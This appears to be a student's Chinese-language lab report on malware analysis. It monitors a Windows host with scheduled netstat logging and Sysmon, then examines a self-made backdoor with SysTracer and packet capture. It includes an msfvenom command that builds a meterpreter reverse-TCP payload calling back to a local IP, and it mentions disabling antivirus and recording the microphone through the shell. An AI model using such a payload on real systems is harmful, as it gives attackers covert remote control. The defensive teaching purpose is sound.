zoukankan      html  css  js  c++  java
  • 20175323 Exp4 恶意代码分析

    1. 实验后回答问题

    • 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

       答:用计划任务可以一直监控端口和进程,并且导入excel统计的话也比较方便查看进程的运行次数等,还有Sysmon、schtasks等工具可以对计算机监听,另外微软的Process Explorer也可以监控进程活动
      
    • 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

       答:sysmon(全程记录事件,用搜索功能查找出与该程序对应的事件日志)、SysTracer(有详细对比并且方便查找注册表和文件被进行了什么样子的修改)、还可以上VirusTotal、VirusScan进行扫描,看看它是否被认为是个恶意程序
      

    2. 实验总结与体会

    这次实验虽说基本上都是利用现有的工具,但是也遇到了一些令人困惑的问题(工具不会用、计划任务无法自动运行、分析数据变化等),需要在网上查找很多的信息,对注册表等文件的内容有了进一步的了解,感觉工具会用也蛮厉害的(比如excel表的统计功能……)
    

    3. 实践过程记录

    3.1 系统运行监控

    3.1.1 Windows计划任务schtasks

    使用命令schtasks /create /TN 20175323 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c: etstatlog.txt" 创建计划任务

    • 此处TR后的表示需要运行的指令
    • TN后面表示计划任务名字
    • sc表示计时方式
    • b表示显示执行的程序名,n表示不解析IP直接显示


    注:此处的计划任务名称是netstat5323是因为我做了很多遍!最后成功的计划任务名是20175323!但是最后忘记截图

    在C盘下建一个文件c: etstatlog.bat用于显示日期和时间,内容为:

    date /t >> c: etstatlog.txt
    time /t >> c: etstatlog.txt
    netstat -bn >> c: etstatlog.txt

    通过控制面板->管理工具->任务计划程序,找到20175323的计划任务:

    更改20175323计划中的属性->操作中的cmd,改为上面生成的bat

    然后就出现了一个问题:总是能够手动运行且不报错,可是就是不能自动每分钟运行一次

    最后通过以下俩个步骤解决:

    我还需要在常规的安全中修改选项如下:(需要输入用户密码)

    一定要修改电源选项,不然会无法触发

    神奇的就是这两个小小的地方让我卡了一晚上

    触发这个计划任务后,打开c: etstatlog.txt文件,就可以看到获取到的信息

    我一直开着电脑等了一天,之后将数据全部复制到excel进行统计:

    小贴士:如果直接导入不能出现文本向导就复制数据,通过开始->粘贴键进入导入向导

    如图导入成功:

    然后可以统计数值:

    emmm可以看到人人影视的程序和p4pclient.exe(应该是人人用于上传和下载的程序)访问次数最多(暴露了我边做实验边下电影的事实)

    如果剔除这两个程序的话,进程数最多的就有[chrome.exe]、[DellMobileConnectClient.exe]、[svchost.exe]和[TXEDU.exe]

    前两个应该没什么大问题,第三个是微软的,官方解释是“从动态链接库 (DLL) 中运行的服务的通用主机进程名称”,最后一个没查到是啥……

    只能查查这个TXEDU.exe的IP归属地址,结果还真是来自四面八方的,海外也有,难道还真让我发现了一个病毒?最后在bing中查到:

    emmmmm……那好吧

    3.1.2 sysmon

    在官网上下载sysmon工具,并设置配置文件:

    <Sysmon schemaversion="10.42">
      <!-- Capture all hashes -->
      <HashAlgorithms>*</HashAlgorithms>
      <EventFiltering>
        <!-- Log all drivers except if the signature -->
        <!-- contains Microsoft or Windows -->
        <DriverLoad onmatch="exclude">
          <Signature condition="contains">microsoft</Signature>
          <Signature condition="contains">windows</Signature>
        </DriverLoad>
    
        <ProcessCreate onmatch="exclude">
          <Image condition="end with">chrome.exe</Image>
          <Image condition="end with">iexplorer.exe</Image>
        </ProcessCreate>
    
        <NetworkConnect onmatch="exclude">
          <Image condition="end with">chrome.exe</Image>
          <Image condition="end with">iexplorer.exe</Image>
          <SourcePort condition="is">137</SourcePort>
          <SourceIp condition="is">127.0.0.1</SourceIp>
        </NetworkConnect>
    
        <CreateRemoteThread onmatch="include">
          <TargetImage condition="end with">explorer.exe</TargetImage>
          <TargetImage condition="end with">svchost.exe</TargetImage>
          <TargetImage condition="end with">winlogon.exe</TargetImage>
          <SourceImage condition="end with">powershell.exe</SourceImage>
        </CreateRemoteThread>
      </EventFiltering>
    </Sysmon>
    

    其中相关项:

    • ProcessCreate表示进程创建
    • NetworkConnect是网络连接
    • CreateRemote是远程线程创建

    打开cmd,进入sysmon所在的文件夹,输入Sysmon.exe -i sysmon.xml,注意要以管理员身份运行

    然后就可以进入计算机管理,查看事件查看器,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational中,我们可以看到按照配置文件的要求记录的新事件,以及详细信息。

    3.2 恶意软件分析

    要求:分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件
    (1)读取、添加、删除了哪些注册表项
    (2)读取、添加、删除了哪些文件
    (3)连接了哪些外部IP,传输了什么数据(抓包分析)

    1. 使用Sysmon

    因为实验三我并没有实现免杀,所以还是用了实验二的后门程序,关闭了杀软。然后用主机实现回连,kali获取到主机shell:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=5323 -f exe > 5323backdoor.exe老套路了

    在sysmon中进行查找,可以看到完整的回连信息:

    以及用kali对主机发出指令时的信息:我连续输入了dir、pwd、ecord_mic等指令,抓到了下面这个

    不太清除这个ApacheBench command line utility是干什么的,网上说是实用命令行程序。。

    另外其他抓到的与5323backdoor有关的事件中只有进程id号,没有详细信息。

    1. 使用Systracer

    第一步:下载安装Systracer

    点击take snapshot拍摄一次快照

    用kali对主机getShell之后执行一些指令

    在这个过程中拍摄了四次快照:

    • 快照一(Snapshot #1):安装好Systracer后立即拍摄的快照
    • 快照二(Snapshot #2):运行后门程序并在kali中getShell时
    • 快照三(Snapshot #3):通过后门程序对主机运行指令,如dir、ecord_mic等后
    • 快照四(Snapshot #4):程序执行结束后

    对快照进行分析,通过Applications->左侧Running Processes->找到后门进程5323backdoor.exe->点击Opened Ports,可以看到查看回连地址、远程地址和端口号:

    还可以根据Compare键对某一个具体的快照看到计算机文件中前后的变化:

    下面是快照二的compare,蓝色为变化的内容:

    上图中是SoftwareMicrosoftInputMethodSHARED发生了变化,一查发现是微软输入法的注册表,难道是后门程序尝试用主机输入法向主机shell发送指令?

    可以看到具体是CoCPrivacyConsentUXShowStartTime发生了变化,但是具体它的意思我没揣摩出来,网上也没查到

    这个SoftwareMicrosoftWindowsCurrentVersionActivityDataModel中的ActivityDataModel我实在不知道啥意思

    路径是SOFTWAREMicrosoftMultimedia,终于遇到一个看得懂的了,这个应该是多媒体的注册表信息,对应我在kali中的获取音频的ecord_mic指令操作

    以上是全部的变化内容,另外还有一些蓝色部分显示:

    猜测可能是Systracer的库中没有对应的内容所以无法解析

    下面是快照四的compare中变化内容:此时

    可以看到ControlSet001CurrentControlSet都发生了变化,其中ControlSet001代表系统真实的配置信息。CurrentControlSet代表运行时配置的信息

    但是不清楚服务中的bam指什么

    1. 抓包
      通过主机抓到的包全部都是TCP包,如下图所示,除了三次握手没有分析出有用的信息
  • 相关阅读:
    .NET实现Excel文件的读写 未测试
    权限管理设计
    struts1中配置应用
    POJ 2139 Six Degrees of Cowvin Bacon(floyd)
    POJ 1751 Highways
    POJ 1698 Alice's Chance
    POJ 1018 Communication System
    POJ 1050 To the Max
    POJ 1002 4873279
    POJ 3084 Panic Room
  • 原文地址:https://www.cnblogs.com/ruirui56/p/12694826.html
Copyright © 2011-2022 走看看